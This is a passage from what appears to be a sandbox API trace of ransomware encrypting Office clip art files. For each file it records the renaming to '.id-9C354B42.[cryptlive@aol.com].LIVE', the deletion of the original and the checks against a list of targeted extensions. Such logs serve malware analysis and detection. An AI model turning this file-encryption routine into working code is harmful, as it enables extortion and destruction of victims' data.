(hObject=0x3a8) returned 1 [0141.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf")) returned 0x20 [0141.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0141.716] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.716] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0141.716] GetLastError () returned 0x0 [0141.716] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x7e8, lpOverlapped=0x0) returned 1 [0141.727] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x7f0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x7f0, lpOverlapped=0x0) returned 1 [0141.728] ReadFile (in: hFile=0x3a8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.728] WriteFile (in: hFile=0x39c, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.728] SetEndOfFile (hFile=0x39c) returned 1 [0141.728] CloseHandle (hObject=0x39c) returned 1 [0141.728] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.728] SetEndOfFile (hFile=0x3a8) returned 1 [0141.730] CloseHandle (hObject=0x3a8) returned 1 [0141.730] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01179_.wmf")) returned 1 [0141.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0141.731] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0141.731] lstrlenW (lpString=".doc") returned 4 [0141.731] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.731] lstrlenW (lpString=".docx") returned 5 [0141.731] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.731] lstrlenW (lpString=".pdf") returned 4 [0141.731] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.731] lstrlenW (lpString=".xls") returned 4 [0141.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.732] lstrlenW (lpString=".xlsx") returned 5 [0141.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.732] lstrlenW (lpString=".ppt") returned 4 [0141.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0141.732] lstrlenW (lpString=".zip") returned 4 [0141.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.732] lstrlenW (lpString=".rar") returned 4 [0141.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.732] lstrlenW (lpString=".bz2") returned 4 [0141.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.732] lstrlenW (lpString=".7z") returned 3 [0141.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0141.732] lstrlenW (lpString=".dbf") returned 4 [0141.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0141.732] lstrlenW (lpString=".1cd") returned 4 [0141.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0141.732] lstrlenW (lpString=".jpg") returned 4 [0141.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0141.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0141.732] lstrlenW (lpString=".doc") returned 4 [0141.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.732] lstrlenW (lpString=".docx") returned 5 [0141.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.732] lstrlenW (lpString=".pdf") returned 4 [0141.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.732] lstrlenW (lpString=".xls") returned 4 [0141.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.732] lstrlenW (lpString=".xlsx") returned 5 [0141.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.732] lstrlenW (lpString=".ppt") returned 4 [0141.733] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0141.733] lstrlenW (lpString=".zip") returned 4 [0141.733] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.733] lstrlenW (lpString=".rar") returned 4 [0141.733] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.733] lstrlenW (lpString=".bz2") returned 4 [0141.733] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.733] lstrlenW (lpString=".7z") returned 3 [0141.733] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0141.733] lstrlenW (lpString=".dbf") returned 4 [0141.733] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0141.733] lstrlenW (lpString=".1cd") returned 4 [0141.733] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.733] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01179_.WMF") returned 63 [0141.733] lstrlenW (lpString=".jpg") returned 4 [0141.733] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.733] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.733] lstrlenW (lpString="DD01181_.WMF") returned 12 [0141.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.819] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=1448) returned 1 [0141.819] CloseHandle (hObject=0x1ec) returned 1 [0141.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x20 [0141.838] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0141.839] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.839] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.840] GetLastError () returned 0x0 [0141.840] ReadFile (in: hFile=0x2f8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x5a8, lpOverlapped=0x0) returned 1 [0141.851] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0141.851] ReadFile (in: hFile=0x2f8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.851] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.852] SetEndOfFile (hFile=0x1ec) returned 1 [0141.852] CloseHandle (hObject=0x1ec) returned 1 [0141.852] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.852] SetEndOfFile (hFile=0x2f8) returned 1 [0141.854] CloseHandle (hObject=0x2f8) returned 1 [0141.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.854] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf")) returned 1 [0141.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0141.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0141.855] lstrlenW (lpString=".doc") returned 4 [0141.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.855] lstrlenW (lpString=".docx") returned 5 [0141.855] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.855] lstrlenW (lpString=".pdf") returned 4 [0141.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.855] lstrlenW (lpString=".xls") returned 4 [0141.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.856] lstrlenW (lpString=".xlsx") returned 5 [0141.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.856] lstrlenW (lpString=".ppt") returned 4 [0141.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0141.856] lstrlenW (lpString=".zip") returned 4 [0141.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.856] lstrlenW (lpString=".rar") returned 4 [0141.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.856] lstrlenW (lpString=".bz2") returned 4 [0141.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.856] lstrlenW (lpString=".7z") returned 3 [0141.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0141.856] lstrlenW (lpString=".dbf") returned 4 [0141.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0141.856] lstrlenW (lpString=".1cd") returned 4 [0141.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0141.856] lstrlenW (lpString=".jpg") returned 4 [0141.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0141.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0141.856] lstrlenW (lpString=".doc") returned 4 [0141.856] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.856] lstrlenW (lpString=".docx") returned 5 [0141.856] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.856] lstrlenW (lpString=".pdf") returned 4 [0141.856] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.856] lstrlenW (lpString=".xls") returned 4 [0141.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.856] lstrlenW (lpString=".xlsx") returned 5 [0141.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.856] lstrlenW (lpString=".ppt") returned 4 [0141.857] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0141.857] lstrlenW (lpString=".zip") returned 4 [0141.857] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.857] lstrlenW (lpString=".rar") returned 4 [0141.857] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.857] lstrlenW (lpString=".bz2") returned 4 [0141.857] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.857] lstrlenW (lpString=".7z") returned 3 [0141.857] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0141.857] lstrlenW (lpString=".dbf") returned 4 [0141.857] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0141.857] lstrlenW (lpString=".1cd") returned 4 [0141.857] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0141.857] lstrlenW (lpString=".jpg") returned 4 [0141.857] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.857] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.857] lstrlenW (lpString="DD01186_.WMF") returned 12 [0141.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0141.858] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=8564) returned 1 [0141.858] CloseHandle (hObject=0x2f8) returned 1 [0141.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x20 [0141.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0141.858] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.858] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0141.859] GetLastError () returned 0x0 [0141.859] ReadFile (in: hFile=0x2f8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x2174, lpOverlapped=0x0) returned 1 [0141.875] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x2180, lpOverlapped=0x0) returned 1 [0141.876] ReadFile (in: hFile=0x2f8, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0141.876] WriteFile (in: hFile=0x1ec, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0141.876] SetEndOfFile (hFile=0x1ec) returned 1 [0141.876] CloseHandle (hObject=0x1ec) returned 1 [0141.876] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0141.876] SetEndOfFile (hFile=0x2f8) returned 1 [0141.879] CloseHandle (hObject=0x2f8) returned 1 [0141.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0141.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf")) returned 1 [0141.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0141.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0141.906] lstrlenW (lpString=".doc") returned 4 [0141.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.906] lstrlenW (lpString=".docx") returned 5 [0141.907] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.907] lstrlenW (lpString=".pdf") returned 4 [0141.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.907] lstrlenW (lpString=".xls") returned 4 [0141.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.907] lstrlenW (lpString=".xlsx") returned 5 [0141.907] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.907] lstrlenW (lpString=".ppt") returned 4 [0141.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0141.907] lstrlenW (lpString=".zip") returned 4 [0141.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.907] lstrlenW (lpString=".rar") returned 4 [0141.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.907] lstrlenW (lpString=".bz2") returned 4 [0141.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.907] lstrlenW (lpString=".7z") returned 3 [0141.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0141.907] lstrlenW (lpString=".dbf") returned 4 [0141.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0141.907] lstrlenW (lpString=".1cd") returned 4 [0141.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0141.907] lstrlenW (lpString=".jpg") returned 4 [0141.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0141.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0141.907] lstrlenW (lpString=".doc") returned 4 [0141.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0141.907] lstrlenW (lpString=".docx") returned 5 [0141.907] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0141.907] lstrlenW (lpString=".pdf") returned 4 [0141.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0141.907] lstrlenW (lpString=".xls") returned 4 [0141.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0141.908] lstrlenW (lpString=".xlsx") returned 5 [0141.908] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0141.908] lstrlenW (lpString=".ppt") returned 4 [0141.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0141.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0141.908] lstrlenW (lpString=".zip") returned 4 [0141.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0141.908] lstrlenW (lpString=".rar") returned 4 [0141.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0141.908] lstrlenW (lpString=".bz2") returned 4 [0141.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0141.908] lstrlenW (lpString=".7z") returned 3 [0141.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0141.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0141.908] lstrlenW (lpString=".dbf") returned 4 [0141.908] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0141.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0141.908] lstrlenW (lpString=".1cd") returned 4 [0141.908] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0141.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0141.908] lstrlenW (lpString=".jpg") returned 4 [0141.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0141.909] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0141.909] lstrlenW (lpString="DD01628_.WMF") returned 12 [0141.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0141.909] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=19068) returned 1 [0141.909] CloseHandle (hObject=0x3b4) returned 1 [0141.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x20 [0141.909] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01628_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01628_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0141.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 